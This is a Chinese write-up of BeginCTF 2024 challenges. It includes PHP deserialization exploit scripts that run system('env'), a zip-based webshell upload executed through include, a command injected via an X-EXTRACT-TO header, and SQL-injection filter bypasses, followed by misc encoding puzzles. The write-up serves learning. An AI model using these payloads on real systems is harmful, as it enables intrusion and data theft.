beginctf2024

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}

class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}

class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>

这道题的解法很多,这里总结一下也方便日后的学习:

解法一:
利用A类的 $this->a->$p() 这条语句,让$p=”phpinfo”,从而通过phpinfo()查看FLAG环境变量。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
...
class A {
public $a;
public function __construct(){
$this->a = new Fun();
}
...
}
class B {
public $p;
public function __construct(){
$this->a = new A();
$this->p = 'phpinfo';
}
...
}
$a=new B();
echo urlencode(serialize($a));
?>

解法二:
先来补充知识点:
call_user_func — 把第一个参数作为回调函数调用.
说明:
call_user_func(callable $callback, mixed …$args): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数.
根据官方文档介绍的call_user_func的用法,可以在Fun类中,将成员变量 func = array(new Test,’__call’); 注意这里如果这样写 func = array(“Test”,’__call’); 会抛出一个warning级别的错误: Warning: call_user_func() expects parameter 1 to be a valid callback, non-static method Test::__call() cannot be called statically in …(为什么会是这样,还不理解,先放在这吧).
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Fun{
private $func = 'call_user_func_array';
function __construct(){
$this->func = array(new Test(),'__call');
}
}

class Test{
}

class A {
public $a;
function __construct(){
$this-> a = new Fun();
}
}

class B {
public $p;
function __construct(){
$this->a = new A();
$this->p = b;
}
}
$a = new B();
echo urlencode(serialize($a));
?>

解法三:
同样利用Fun类的call_user_func(),不过是利用了函数system通过env查看环境变量。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Fun{
private $func = 'call_user_func_array';
function __construct(){
$this->func = "system";
}
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class Test{
}
class A {
public $a;
function __construct(){
$this->a = new Fun();
}
}
class B {
public $p;
function __construct(){
$this->a = new A();
$this->p = "env";
}
}
$a = new B();
echo serialize($a);
?>

zupload-pro-plus-max

源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];

$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));

$allowed = array('zip');

if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;

if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}

include 表达式包含并运行指定文件。
将一句话木马压缩为zip文件上传,然后利用include运行zip文件 (include会把zip文件当作php文件运行),连接蚁剑拿到flag

zupload-pro-plus-max-ultra

源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));

$allowed = array('zip');

if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}

这题http请求header加上X-EXTRACT-TO: /uploads;mv /flag flag.txt 再随便上传个文件,然后访问 /flag.txt 把 Flag 下载下来就行了。
具体实现原理就是拼接两个命令,然后用exec同时实现,就像下面这样(exec只会返回执行结果的最后一行):

sql教学局

这题在拿/flag下的第三段flag时思路有点错了。想的是udf提权,其实是用load_file()直接读取。也好可以补一下udf提权的知识。 通过尝试发现过滤了以下关键字:
1
2
3
4
5
6
不能用: = and & 空格 < > sleep

以下会替换为空:
or (不区分大小写,不限次数)
select(不区分大小写)
from

替换为空可以用嵌套的方式绕过, = 用like替换绕过, 空格用/**/替换绕过。

misc

tupper

用这个网站讲附加拼接的字符串转化为图片,即得到flag https://tuppers-formula.ovh/

又学到了一种加密方式。。

devil's word

看附件:
1
leu lia leu ng leu cai leu jau leu e cai b cai jau sa leng cai ng ng f leu b leu e sa leng cai cai ng f cai cai sa sa leu e cai a leu bo leu f cai ng ng f leu sii leu jau sa sii leu c leu ng leu sa cai sii cai d

看题目”魔鬼的语言”,搜一下猜想是温州话,其实就是温州话的0-9发音,单个字母就表示单个字母(无语了,当时没想到)。根据温州话的发音,得到这个对应关系:

1
2
3
4
5
6
7
8
9
leng 0
lia 2
sa 3
sii 4
ng 5
leu 6
cai 7
bo 8
jau 9

替换之后赛博厨子解码得到flag

你知道中国文化吗1.0

​文本24个字符分一组→base32解码→八卦转8进制→8进制转字符串→字符串转社会主义编码→社会主义解码→字符串栅栏解密得到最后的flag。

八卦对应数字:

1
2
3
4
5
6
7
8
☰	0 
☱ 1
☲ 2
☳ 3
☴ 4
☵ 5
☶ 6
☷ 7

其中base32解码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# coding=utf-8
import base64
with open("附件.txt", 'r',encoding='utf-8') as f:
while True:
a = f.readline()
if a == "":
break
a = a.strip()
try:
b = base64.b32decode(a)
except:
pass
with open("八卦.txt", 'a',encoding='utf-8') as m:
m.write(b.decode('utf-8')+"\n")

这题麻烦的地方就是有的分组里面有特殊字符 $ & @,这些特殊字符需要替换成大写英文字母或者数字才能正确编码,这里的一个思路就是找有没有相似的分组,将特殊字符替换成对应位置的字符即可。(一个特殊字符替换成多个字符都有可能正确解码为八卦符,但是这样好像并不影响结果)

下一站上岸!

题目描述: 某同学在考公的时候看到这样一道题,发现自己怎么也找不到图形的共同特征或规律你能帮帮他吗?

给的图片:

zsteg图片,发现隐写内容:

即: 5o+Q56S6OuaRqeaWr+WvhueggQ==

base64解密得到(base64编码由a-zA-Z0-9+/组成):

根据每个图形的交点数得到: 221022201122120120111011110222012101
将0替换成’ ‘ 1替换成’.’ 2替换成’-‘再解码得到flag
(至于为什么这么替换一共6种情况可以fuzz一下)

这次比赛收获很大。